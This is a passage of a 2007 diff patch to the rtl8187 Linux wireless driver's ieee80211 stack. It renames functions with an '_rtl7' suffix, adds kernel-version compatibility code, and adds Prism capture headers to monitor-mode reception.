*ieee, +extern int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); + +extern int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_rate(struct ieee80211_device *ieee, - struct iw_request_info *info, + +extern int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); - -extern int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); - -extern int ieee80211_wx_set_essid(struct ieee80211_device *ieee, + +extern int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +extern void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work); +#else +extern void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee); +#endif -extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, - struct iw_request_info *info, +extern int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_name(struct ieee80211_device *ieee, - struct iw_request_info *info, + +extern int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern const long ieee80211_wlan_frequencies[]; -extern inline void ieee80211_increment_scans(struct ieee80211_device *ieee) +extern const long ieee80211_wlan_frequencies_rtl7[]; + +extern inline void ieee80211_increment_scans_rtl7(struct ieee80211_device *ieee) { ieee->scans++; } -extern inline int ieee80211_get_scans(struct ieee80211_device *ieee) +extern inline int ieee80211_get_scans_rtl7(struct ieee80211_device *ieee) { return ieee->scans; } @@ -1372,7 +1398,7 @@ const char *s = essid; char *d = escaped; - if (ieee80211_is_empty_essid(essid, essid_len)) { + if (ieee80211_is_empty_essid_rtl7(essid, essid_len)) { memcpy(escaped, "", sizeof("")); return escaped; } @@ -1390,4 +1416,5 @@ *d = '\0'; return escaped; } + #endif /* IEEE80211_H */ diff -Naur rtl8187_orig/ieee80211/ieee80211_module.c rtl8187_rawtx/ieee80211/ieee80211_module.c --- rtl8187_orig/ieee80211/ieee80211_module.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_module.c 2007-07-13 01:46:05.000000000 +0200 @@ -31,7 +31,6 @@ *******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" MODULE_DESCRIPTION("802.11 data/management/control stack"); @@ -60,7 +65,7 @@ #define DRV_NAME "ieee80211" -static inline int ieee80211_networks_allocate(struct ieee80211_device *ieee) +static inline int ieee80211_networks_allocate_rtl7(struct ieee80211_device *ieee) { if (ieee->networks) return 0; @@ -80,7 +85,7 @@ return 0; } -static inline void ieee80211_networks_free(struct ieee80211_device *ieee) +static inline void ieee80211_networks_free_rtl7(struct ieee80211_device *ieee) { if (!ieee->networks) return; @@ -88,7 +93,7 @@ ieee->networks = NULL; } -static inline void ieee80211_networks_initialize(struct ieee80211_device *ieee) +static inline void ieee80211_networks_initialize_rtl7(struct ieee80211_device *ieee) { int i; @@ -99,7 +104,7 @@ } -struct net_device *alloc_ieee80211(int sizeof_priv) +struct net_device *alloc_ieee80211_rtl7(int sizeof_priv) { struct ieee80211_device *ieee; struct net_device *dev; @@ -113,17 +118,17 @@ goto failed; } ieee = netdev_priv(dev); - dev->hard_start_xmit = ieee80211_xmit; + dev->hard_start_xmit = ieee80211_xmit_rtl7; ieee->dev = dev; - err = ieee80211_networks_allocate(ieee); + err = ieee80211_networks_allocate_rtl7(ieee); if (err) { IEEE80211_ERROR("Unable to allocate beacon storage: %d\n", err); goto failed; } - ieee80211_networks_initialize(ieee); + ieee80211_networks_initialize_rtl7(ieee); /* Default fragmentation threshold is maximum payload size */ ieee->fts = DEFAULT_FTS; @@ -138,7 +143,7 @@ INIT_LIST_HEAD(&ieee->crypt_deinit_list); init_timer(&ieee->crypt_deinit_timer); ieee->crypt_deinit_timer.data = (unsigned long)ieee; - ieee->crypt_deinit_timer.function = ieee80211_crypt_deinit_handler; + ieee->crypt_deinit_timer.function = ieee80211_crypt_deinit_handler_rtl7; spin_lock_init(&ieee->lock); @@ -149,7 +154,7 @@ ieee->ieee802_1x = 1; ieee->raw_tx = 0; - ieee80211_softmac_init(ieee); + ieee80211_softmac_init_rtl7(ieee); for (i = 0; i < IEEE_IBSS_MAC_HASH_SIZE; i++) INIT_LIST_HEAD(&ieee->ibss_mac_hash[i]); @@ -167,7 +172,7 @@ } -void free_ieee80211(struct net_device *dev) +void free_ieee80211_rtl7(struct net_device *dev) { struct ieee80211_device *ieee = netdev_priv(dev); @@ -175,9 +180,9 @@ struct list_head *p, *q; - ieee80211_softmac_free(ieee); + ieee80211_softmac_free_rtl7(ieee); del_timer_sync(&ieee->crypt_deinit_timer); - ieee80211_crypt_deinit_entries(ieee, 1); + ieee80211_crypt_deinit_entries_rtl7(ieee, 1); for (i = 0; i < WEP_KEYS; i++) { struct ieee80211_crypt_data *crypt = ieee->crypt[i]; @@ -191,7 +196,7 @@ } } - ieee80211_networks_free(ieee); + ieee80211_networks_free_rtl7(ieee); for (i = 0; i < IEEE_IBSS_MAC_HASH_SIZE; i++) { list_for_each_safe(p, q, &ieee->ibss_mac_hash[i]) { @@ -210,13 +215,13 @@ u32 ieee80211_debug_level = 0; struct proc_dir_entry *ieee80211_proc = NULL; -static int show_debug_level(char *page, char **start, off_t offset, +static int show_debug_level_rtl7(char *page, char **start, off_t offset, int count, int *eof, void *data) { return snprintf(page, count, "0x%08X\n", ieee80211_debug_level); } -static int store_debug_level(struct file *file, const char *buffer, +static int store_debug_level_rtl7(struct file *file, const char *buffer, unsigned long count, void *data) { char buf[] = "0x00000000"; @@ -243,7 +248,7 @@ return strnlen(buf, count); } -static int __init ieee80211_init(void) +static int __init ieee80211_init_rtl7(void) { struct proc_dir_entry *e; @@ -268,7 +273,7 @@ return 0; } -static void __exit ieee80211_exit(void) +static void __exit ieee80211_exit_rtl7(void) { if (ieee80211_proc) { remove_proc_entry("debug_level", ieee80211_proc); @@ -282,9 +287,9 @@ MODULE_PARM_DESC(debug, "debug output mask"); -module_exit(ieee80211_exit); -module_init(ieee80211_init); +module_exit(ieee80211_exit_rtl7); +module_init(ieee80211_init_rtl7); #endif -EXPORT_SYMBOL(alloc_ieee80211); -EXPORT_SYMBOL(free_ieee80211); +EXPORT_SYMBOL(alloc_ieee80211_rtl7); +EXPORT_SYMBOL(free_ieee80211_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_rx.c rtl8187_rawtx/ieee80211/ieee80211_rx.c --- rtl8187_orig/ieee80211/ieee80211_rx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_rx.c 2007-07-29 10:28:57.000000000 +0200 @@ -13,16 +13,15 @@ * more details. ****************************************************************************** - Few modifications for Realtek's Wi-Fi drivers by + Few modifications for Realtek's Wi-Fi drivers by Andrea Merello - - A special thanks goes to Realtek for their support ! + + A special thanks goes to Realtek for their support ! ******************************************************************************/ - + #include -#include #include #include #include @@ -43,18 +42,89 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + + #include "ieee80211.h" -static inline void ieee80211_monitor_rx(struct ieee80211_device *ieee, +static inline void ieee80211_monitor_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { - struct ieee80211_hdr *hdr = (struct ieee80211_hdr *)skb->data; - u16 fc = le16_to_cpu(hdr->frame_ctl); + struct ieee80211_hdr *hdr1 = (struct ieee80211_hdr *)skb->data; + u16 fc = le16_to_cpu(hdr1->frame_ctl); + int prism_header; + int hdrlen, phdrlen, head_need, tail_need; + + if (ieee->dev->type == ARPHRD_IEEE80211_PRISM) { + prism_header = 1; + phdrlen = sizeof(struct linux_wlan_ng_prism_hdr); + } else { + prism_header = 0; + phdrlen = 0; + } + + hdrlen = ieee80211_get_hdrlen_rtl7(fc); + + /* check if there is enough room for extra data; if not, expand skb + * buffer to be large enough for the changes */ + head_need = phdrlen; + tail_need = 0; +#ifdef PRISM2_ADD_BOGUS_CRC + tail_need += 4; +#endif /* PRISM2_ADD_BOGUS_CRC */ + + head_need -= skb_headroom(skb); + tail_need -= skb_tailroom(skb); + + if (head_need > 0 || tail_need > 0) { + if (pskb_expand_head(skb, head_need > 0 ? head_need : 0, + tail_need > 0 ? tail_need : 0, + GFP_ATOMIC)) { + printk(KERN_DEBUG "%s: ieee80211_rx failed to " + "reallocate skb buffer\n", ieee->dev->name); + dev_kfree_skb_any(skb); + return; + } + } + + if (prism_header == 1) { + struct linux_wlan_ng_prism_hdr *hdr; + hdr = (struct linux_wlan_ng_prism_hdr *) + skb_push(skb, phdrlen); + memset(hdr, 0, phdrlen); + hdr->msgcode = LWNG_CAP_DID_BASE; + hdr->msglen = sizeof(*hdr); + memcpy(hdr->devname, ieee->dev->name, sizeof(hdr->devname)); +#define LWNG_SETVAL(f,i,s,l,d) \ +hdr->f.did = LWNG_CAP_DID_BASE | (i << 12); \ +hdr->f.status = s; hdr->f.len = l; hdr->f.data = d + LWNG_SETVAL(hosttime, 1, 0, 4, jiffies); + LWNG_SETVAL(mactime, 2, 0, 4, ((u32)rx_stats->mac_time)); + LWNG_SETVAL(channel, 3, 1 /* no value */, 4, 0); + LWNG_SETVAL(rssi, 4, 1 /* no value */, 4, 0); + LWNG_SETVAL(sq, 5, 1 /* no value */, 4, 0); + LWNG_SETVAL(signal, 6, 0, 4, rx_stats->signal); + LWNG_SETVAL(noise, 7, 0, 4, rx_stats->noise); + LWNG_SETVAL(rate, 8, 0, 4, rx_stats->rate / 5); + LWNG_SETVAL(istx, 9, 0, 4, 0); + LWNG_SETVAL(frmlen, 10, 0, 4, skb->len - phdrlen); +#undef LWNG_SETVAL + } skb->dev = ieee->dev; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,22)) skb->mac.raw = skb->data; - skb_pull(skb, ieee80211_get_hdrlen(fc)); +#else + skb_reset_mac_header(skb); +#endif + skb_pull(skb, hdrlen); + if (prism_header) + skb_pull(skb, phdrlen); skb->pkt_type = PACKET_OTHERHOST; skb->protocol = __constant_htons(ETH_P_80211_RAW); memset(skb->cb, 0, sizeof(skb->cb)); @@ -64,7 +134,7 @@ /* Called only as a tasklet (software IRQ) */ static struct ieee80211_frag_entry * -ieee80211_frag_cache_find(struct ieee80211_device *ieee, unsigned int seq, +ieee80211_frag_cache_find_rtl7(struct ieee80211_device *ieee, unsigned int seq, unsigned int frag, u8 *src, u8 *dst) { struct ieee80211_frag_entry *entry; @@ -94,7 +164,7 @@ /* Called only as a tasklet (software IRQ) */ static struct sk_buff * -ieee80211_frag_cache_get(struct ieee80211_device *ieee, +ieee80211_frag_cache_get_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *hdr) { struct sk_buff *skb = NULL; @@ -133,7 +203,7 @@ } else { /* received a fragment of a frame for which the head fragment * should have already been received */ - entry = ieee80211_frag_cache_find(ieee, seq, frag, hdr->addr2, + entry = ieee80211_frag_cache_find_rtl7(ieee, seq, frag, hdr->addr2, hdr->addr1); if (entry != NULL) { entry->last_frag = frag; @@ -146,7 +216,7 @@ /* Called only as a tasklet (software IRQ) */ -static int ieee80211_frag_cache_invalidate(struct ieee80211_device *ieee, +static int ieee80211_frag_cache_invalidate_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *hdr) { u16 sc; @@ -156,7 +226,7 @@ sc = le16_to_cpu(hdr->seq_ctl); seq = WLAN_GET_SEQ_SEQ(sc); - entry = ieee80211_frag_cache_find(ieee, seq, -1, hdr->addr2, + entry = ieee80211_frag_cache_find_rtl7(ieee, seq, -1, hdr->addr2, hdr->addr1); if (entry == NULL) { @@ -178,7 +248,7 @@ * * Called by ieee80211_rx */ static inline int -ieee80211_rx_frame_mgmt(struct ieee80211_device *ieee, struct sk_buff *skb, +ieee80211_rx_frame_mgmt_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype) { @@ -187,13 +257,13 @@ * response parser uses it */ rx_stats->len = skb->len; - ieee80211_rx_mgt(ieee,(struct ieee80211_hdr *)skb->data,rx_stats); - ieee80211_rx_frame_softmac(ieee, skb, rx_stats, type, stype); + ieee80211_rx_mgt_rtl7(ieee,(struct ieee80211_hdr *)skb->data,rx_stats); + ieee80211_rx_frame_softmac_rtl7(ieee, skb, rx_stats, type, stype); dev_kfree_skb_any(skb); - + return 0; - + #ifdef NOT_YET if (ieee->iw_mode == IW_MODE_MASTER) { printk(KERN_DEBUG "%s: Master mode not yet suppported.\n", @@ -253,7 +323,7 @@ /* No encapsulation header if EtherType < 0x600 (=length) */ /* Called by ieee80211_rx_frame_decrypt */ -static int ieee80211_is_eapol_frame(struct ieee80211_device *ieee, +static int ieee80211_is_eapol_frame_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { struct net_device *dev = ieee->dev; @@ -294,7 +364,7 @@ /* Called only as a tasklet (software IRQ), by ieee80211_rx */ static inline int -ieee80211_rx_frame_decrypt(struct ieee80211_device* ieee, struct sk_buff *skb, +ieee80211_rx_frame_decrypt_rtl7(struct ieee80211_device* ieee, struct sk_buff *skb, struct ieee80211_crypt_data *crypt) { struct ieee80211_hdr *hdr; @@ -304,7 +374,7 @@ return 0; hdr = (struct ieee80211_hdr *) skb->data; - hdrlen = ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_ctl)); + hdrlen = ieee80211_get_hdrlen_rtl7(le16_to_cpu(hdr->frame_ctl)); #ifdef CONFIG_IEEE80211_CRYPT_TKIP if (ieee->tkip_countermeasures && @@ -339,7 +409,7 @@ /* Called only as a tasklet (software IRQ), by ieee80211_rx */ static inline int -ieee80211_rx_frame_decrypt_msdu(struct ieee80211_device* ieee, struct sk_buff *skb, +ieee80211_rx_frame_decrypt_msdu_rtl7(struct ieee80211_device* ieee, struct sk_buff *skb, int keyidx, struct ieee80211_crypt_data *crypt) { struct ieee80211_hdr *hdr; @@ -349,7 +419,7 @@ return 0; hdr = (struct ieee80211_hdr *) skb->data; - hdrlen = ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_ctl)); + hdrlen = ieee80211_get_hdrlen_rtl7(le16_to_cpu(hdr->frame_ctl)); atomic_inc(&crypt->refcnt); res = crypt->ops->decrypt_msdu(skb, keyidx, hdrlen, crypt->priv); @@ -367,7 +437,7 @@ /* this function is stolen from ipw2200 driver*/ #define IEEE_PACKET_RETRY_TIME (5*HZ) -static int is_duplicate_packet(struct ieee80211_device *ieee, +static int is_duplicate_packet_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header) { // u16 fc = le16_to_cpu(header->frame_ctl); @@ -413,7 +483,7 @@ last_seq = &ieee->last_seq_num; last_frag = &ieee->last_frag_num; last_time = &ieee->last_packet_time; - + break; default: return 0; @@ -436,7 +506,7 @@ drop: // BUG_ON(!(fc & IEEE80211_FCTL_RETRY)); // printk("DUP\n"); - + return 1; } @@ -444,7 +514,7 @@ /* All received frames are sent to this function. @skb contains the frame in * IEEE 802.11 format, i.e., in the format it was sent over air. * This function is called only as a tasklet (software IRQ). */ -int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { struct net_device *dev = ieee->dev; @@ -481,9 +551,9 @@ type = WLAN_FC_GET_TYPE(fc); stype = WLAN_FC_GET_STYPE(fc); sc = le16_to_cpu(hdr->seq_ctl); - + frag = WLAN_GET_SEQ_FRAG(sc); - hdrlen = ieee80211_get_hdrlen(fc); + hdrlen = ieee80211_get_hdrlen_rtl7(fc); #ifdef NOT_YET #if WIRELESS_EXT > 15 @@ -501,12 +571,12 @@ } #endif /* IW_WIRELESS_SPY */ #endif /* WIRELESS_EXT > 15 */ - hostap_update_rx_stats(local->ap, hdr, rx_stats); + hostap_update_rx_stats_rtl7(local->ap, hdr, rx_stats); #endif #if WIRELESS_EXT > 15 if (ieee->iw_mode == IW_MODE_MONITOR) { - ieee80211_monitor_rx(ieee, skb, rx_stats); + ieee80211_monitor_rx_rtl7(ieee, skb, rx_stats); stats->rx_packets++; stats->rx_bytes += skb->len; return 1; @@ -529,7 +599,7 @@ * stations that do not support WEP key mapping). */ if (!(hdr->addr1[0] & 0x01) || local->bcrx_sta_key) - (void) hostap_handle_sta_crypto(local, hdr, &crypt, + (void) hostap_handle_sta_crypto_rtl7(local, hdr, &crypt, &sta); #endif @@ -555,7 +625,7 @@ if (skb->len < IEEE80211_DATA_HDR3_LEN) goto rx_dropped; - if (is_duplicate_packet(ieee, hdr)) + if (is_duplicate_packet_rtl7(ieee, hdr)) goto rx_dropped; @@ -573,9 +643,9 @@ goto rx_dropped; } #endif - - - if (ieee80211_rx_frame_mgmt(ieee, skb, rx_stats, type, stype)) + + + if (ieee80211_rx_frame_mgmt_rtl7(ieee, skb, rx_stats, type, stype)) goto rx_dropped; else goto rx_exit; @@ -583,7 +653,7 @@ /* Data frame - extract src/dst addresses */ - + switch (fc & (IEEE80211_FCTL_FROMDS | IEEE80211_FCTL_TODS)) { case IEEE80211_FCTL_FROMDS: memcpy(dst, hdr->addr1, ETH_ALEN); @@ -606,7 +676,7 @@ } #ifdef NOT_YET - if (hostap_rx_frame_wds(ieee, hdr, fc, &wds)) + if (hostap_rx_frame_wds_rtl7(ieee, hdr, fc, &wds)) goto rx_dropped; if (wds) { skb->dev = dev = wds; @@ -619,7 +689,7 @@ memcmp(hdr->addr2, ieee->assoc_ap_addr, ETH_ALEN) == 0) { /* Frame from BSSID of the AP for which we are a client */ skb->dev = dev = ieee->stadev; - stats = hostap_get_stats(dev); + stats = hostap_get_stats_rtl7(dev); from_assoc_ap = 1; } #endif @@ -630,7 +700,7 @@ if ((ieee->iw_mode == IW_MODE_MASTER || ieee->iw_mode == IW_MODE_REPEAT) && !from_assoc_ap) { - switch (hostap_handle_sta_rx(ieee, dev, skb, rx_stats, + switch (hostap_handle_sta_rx_rtl7(ieee, dev, skb, rx_stats, wds != NULL)) { case AP_RX_CONTINUE_NOT_AUTHORIZED: frame_authorized = 0; @@ -664,7 +734,7 @@ /* skb: hdr + (possibly fragmented, possibly encrypted) payload */ if (ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && - (keyidx = ieee80211_rx_frame_decrypt(ieee, skb, crypt)) < 0) + (keyidx = ieee80211_rx_frame_decrypt_rtl7(ieee, skb, crypt)) < 0) goto rx_dropped; hdr = (struct ieee80211_hdr *) skb->data; @@ -674,7 +744,7 @@ // ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && if ((frag != 0 || (fc & IEEE80211_FCTL_MOREFRAGS))) { int flen; - struct sk_buff *frag_skb = ieee80211_frag_cache_get(ieee, hdr); + struct sk_buff *frag_skb = ieee80211_frag_cache_get_rtl7(ieee, hdr); IEEE80211_DEBUG_FRAG("Rx Fragment received (%u)\n", frag); if (!frag_skb) { @@ -694,7 +764,7 @@ printk(KERN_WARNING "%s: host decrypted and " "reassembled frame did not fit skb\n", dev->name); - ieee80211_frag_cache_invalidate(ieee, hdr); + ieee80211_frag_cache_invalidate_rtl7(ieee, hdr); goto rx_dropped; } @@ -722,19 +792,19 @@ * delivered, so remove skb from fragment cache */ skb = frag_skb; hdr = (struct ieee80211_hdr *) skb->data; - ieee80211_frag_cache_invalidate(ieee, hdr); + ieee80211_frag_cache_invalidate_rtl7(ieee, hdr); } /* skb: hdr + (possible reassembled) full MSDU payload; possibly still * encrypted/authenticated */ if (ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && - ieee80211_rx_frame_decrypt_msdu(ieee, skb, keyidx, crypt)) + ieee80211_rx_frame_decrypt_msdu_rtl7(ieee, skb, keyidx, crypt)) goto rx_dropped; hdr = (struct ieee80211_hdr *) skb->data; if (crypt && !(fc & IEEE80211_FCTL_WEP) && !ieee->open_wep) { if (/*ieee->ieee802_1x &&*/ - ieee80211_is_eapol_frame(ieee, skb)) { + ieee80211_is_eapol_frame_rtl7(ieee, skb)) { #ifdef CONFIG_IEEE80211_DEBUG /* pass unencrypted EAPOL frames even if encryption is * configured */ @@ -763,7 +833,7 @@ #endif if (crypt && !(fc & IEEE80211_FCTL_WEP) && !ieee->open_wep && - !ieee80211_is_eapol_frame(ieee, skb)) { + !ieee80211_is_eapol_frame_rtl7(ieee, skb)) { IEEE80211_DEBUG_DROP( "dropped unencrypted RX data " "frame from " MAC_FMT @@ -861,7 +931,12 @@ if (skb2 != NULL) { /* send to wireless media */ skb2->protocol = __constant_htons(ETH_P_802_3); +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,22)) skb2->mac.raw = skb2->nh.raw = skb2->data; +#else + skb_reset_mac_header(skb2); + skb_reset_network_header(skb2); +#endif /* skb2->nh.raw = skb2->data + ETH_HLEN; */ skb2->dev = dev; dev_queue_xmit(skb2); @@ -896,7 +971,7 @@ #define MGMT_FRAME_FIXED_PART_LENGTH 0x24 -static inline int ieee80211_is_ofdm_rate(u8 rate) +static inline int ieee80211_is_ofdm_rate_rtl7(u8 rate) { switch (rate & ~IEEE80211_BASIC_RATE_MASK) { case IEEE80211_OFDM_RATE_6MB: @@ -913,7 +988,7 @@ } -static inline int ieee80211_network_init( +static inline int ieee80211_network_init_rtl7( struct ieee80211_device *ieee, struct ieee80211_probe_response *beacon, struct ieee80211_network *network, @@ -964,7 +1039,7 @@ switch (info_element->id) { case MFIE_TYPE_SSID: - if (ieee80211_is_empty_essid(info_element->data, + if (ieee80211_is_empty_essid_rtl7(info_element->data, info_element->len)) { network->flags |= NETWORK_EMPTY_ESSID; break; @@ -991,7 +1066,7 @@ #ifdef CONFIG_IEEE80211_DEBUG p += snprintf(p, sizeof(rates_str) - (p - rates_str), "%02X ", network->rates[i]); #endif - if (ieee80211_is_ofdm_rate(info_element->data[i])) { + if (ieee80211_is_ofdm_rate_rtl7(info_element->data[i])) { network->flags |= NETWORK_HAS_OFDM; if (info_element->data[i] & IEEE80211_BASIC_RATE_MASK) @@ -1014,7 +1089,7 @@ #ifdef CONFIG_IEEE80211_DEBUG p += snprintf(p, sizeof(rates_str) - (p - rates_str), "%02X ", network->rates[i]); #endif - if (ieee80211_is_ofdm_rate(info_element->data[i])) { + if (ieee80211_is_ofdm_rate_rtl7(info_element->data[i])) { network->flags |= NETWORK_HAS_OFDM; if (info_element->data[i] & IEEE80211_BASIC_RATE_MASK) @@ -1043,47 +1118,47 @@ break; case MFIE_TYPE_TIM: - - if(info_element->len < 4) + + if(info_element->len < 4) break; - + network->dtim_period = info_element->data[1]; - + if(ieee->state != IEEE80211_LINKED) break; - - network->last_dtim_sta_time[0] = stats->mac_time[0]; + + network->last_dtim_sta_time[0] = stats->mac_time[0]; network->last_dtim_sta_time[1] = stats->mac_time[1]; - + network->dtim_data = IEEE80211_DTIM_VALID; - - if(info_element->data[0] != 0) + + if(info_element->data[0] != 0) break; - + if(info_element->data[2] & 1) network->dtim_data |= IEEE80211_DTIM_MBCAST; - + offset = (info_element->data[2] >> 1)*2; - - //printk("offset1:%x aid:%x\n",offset, ieee->assoc_id); - - if(ieee->assoc_id < offset || + + //printk("offset1:%x aid:%x\n",offset, ieee->assoc_id); + + if(ieee->assoc_id < offset || ieee->assoc_id > 8*(offset + info_element->len -3)) - + break; - - + + offset = offset + ieee->assoc_id / 8;// + ((aid % 8)? 0 : 1) ; - - // printk("offset:%x data:%x, ucast:%d\n", offset, + + // printk("offset:%x data:%x, ucast:%d\n", offset, // info_element->data[3+offset] , // info_element->data[3+offset] & (1<<(ieee->assoc_id%8))); - + if(info_element->data[3+offset] & (1<<(ieee->assoc_id%8))) network->dtim_data |= IEEE80211_DTIM_UCAST; - + break; - + case MFIE_TYPE_IBSS_SET: IEEE80211_DEBUG_SCAN("MFIE_TYPE_IBSS_SET: ignored\n"); break; @@ -1115,7 +1190,7 @@ memcpy(network->rsn_ie, info_element, network->rsn_ie_len); break; - + default: IEEE80211_DEBUG_SCAN("unsupported IE %d\n", info_element->id); @@ -1147,7 +1222,7 @@ return 1; } - if (ieee80211_is_empty_essid(network->ssid, network->ssid_len)) + if (ieee80211_is_empty_essid_rtl7(network->ssid, network->ssid_len)) network->flags |= NETWORK_EMPTY_ESSID; memcpy(&network->stats, stats, sizeof(network->stats)); @@ -1155,24 +1230,24 @@ return 0; } -static inline int is_same_network(struct ieee80211_network *src, +static inline int is_same_network_rtl7(struct ieee80211_network *src, struct ieee80211_network *dst) { /* A network is only a duplicate if the channel, BSSID, ESSID - * and the capability field (in particular IBSS and BSS) all match. + * and the capability field (in particular IBSS and BSS) all match. * We treat all with the same BSSID and channel * as one network */ return ((src->ssid_len == dst->ssid_len) && (src->channel == dst->channel) && !memcmp(src->bssid, dst->bssid, ETH_ALEN) && !memcmp(src->ssid, dst->ssid, src->ssid_len) && - ((src->capability & WLAN_CAPABILITY_IBSS) == + ((src->capability & WLAN_CAPABILITY_IBSS) == (dst->capability & WLAN_CAPABILITY_IBSS)) && - ((src->capability & WLAN_CAPABILITY_BSS) == + ((src->capability & WLAN_CAPABILITY_BSS) == (dst->capability & WLAN_CAPABILITY_BSS))); } -static inline void update_network(struct ieee80211_network *dst, +static inline void update_network_rtl7(struct ieee80211_network *dst, struct ieee80211_network *src) { memcpy(&dst->stats, &src->stats, sizeof(struct ieee80211_rx_stats)); @@ -1194,7 +1269,7 @@ dst->dtim_data = src->dtim_data; dst->last_dtim_sta_time[0] = src->last_dtim_sta_time[0]; dst->last_dtim_sta_time[1] = src->last_dtim_sta_time[1]; - + memcpy(dst->wpa_ie, src->wpa_ie, src->wpa_ie_len); dst->wpa_ie_len = src->wpa_ie_len; memcpy(dst->rsn_ie, src->rsn_ie, src->rsn_ie_len); @@ -1204,7 +1279,7 @@ /* dst->last_associate is not overwritten */ } -static inline void ieee80211_process_probe_response( +static inline void ieee80211_process_probe_response_rtl7( struct ieee80211_device *ieee, struct ieee80211_probe_response *beacon, struct ieee80211_rx_stats *stats) @@ -1239,7 +1314,7 @@ (beacon->capability & (1<<0x1)) ? '1' : '0', (beacon->capability & (1<<0x0)) ? '1' : '0'); - if (ieee80211_network_init(ieee, beacon, &network, stats)) { + if (ieee80211_network_init_rtl7(ieee, beacon, &network, stats)) { IEEE80211_DEBUG_SCAN("Dropped '%s' (" MAC_FMT ") via %s.\n", escape_essid(info_element->data, info_element->len), @@ -1261,12 +1336,12 @@ * already there. */ spin_lock_irqsave(&ieee->lock, flags); - - if(is_same_network(&ieee->current_network, &network)) - update_network(&ieee->current_network, &network); - + + if(is_same_network_rtl7(&ieee->current_network, &network)) + update_network_rtl7(&ieee->current_network, &network); + list_for_each_entry(target, &ieee->network_list, list) { - if (is_same_network(target, &network)) + if (is_same_network_rtl7(target, &network)) break; if ((oldest == NULL) || @@ -1306,7 +1381,7 @@ memcpy(target, &network, sizeof(*target)); list_add_tail(&target->list, &ieee->network_list); if(ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) - ieee80211_softmac_new_net(ieee,&network); + ieee80211_softmac_new_net_rtl7(ieee,&network); } else { IEEE80211_DEBUG_SCAN("Updating '%s' (" MAC_FMT ") via %s.\n", escape_essid(target->ssid, @@ -1315,39 +1390,39 @@ WLAN_FC_GET_STYPE(beacon->header.frame_ctl) == IEEE80211_STYPE_PROBE_RESP ? "PROBE RESPONSE" : "BEACON"); - + /* we have an entry and we are going to update it. But this entry may - * be already expired. In this case we do the same as we found a new + * be already expired. In this case we do the same as we found a new * net and call the new_net handler */ renew = !time_after(target->last_scanned + ieee->scan_age, jiffies); - update_network(target, &network); + update_network_rtl7(target, &network); if(renew && (ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE)) - ieee80211_softmac_new_net(ieee,&network); + ieee80211_softmac_new_net_rtl7(ieee,&network); } 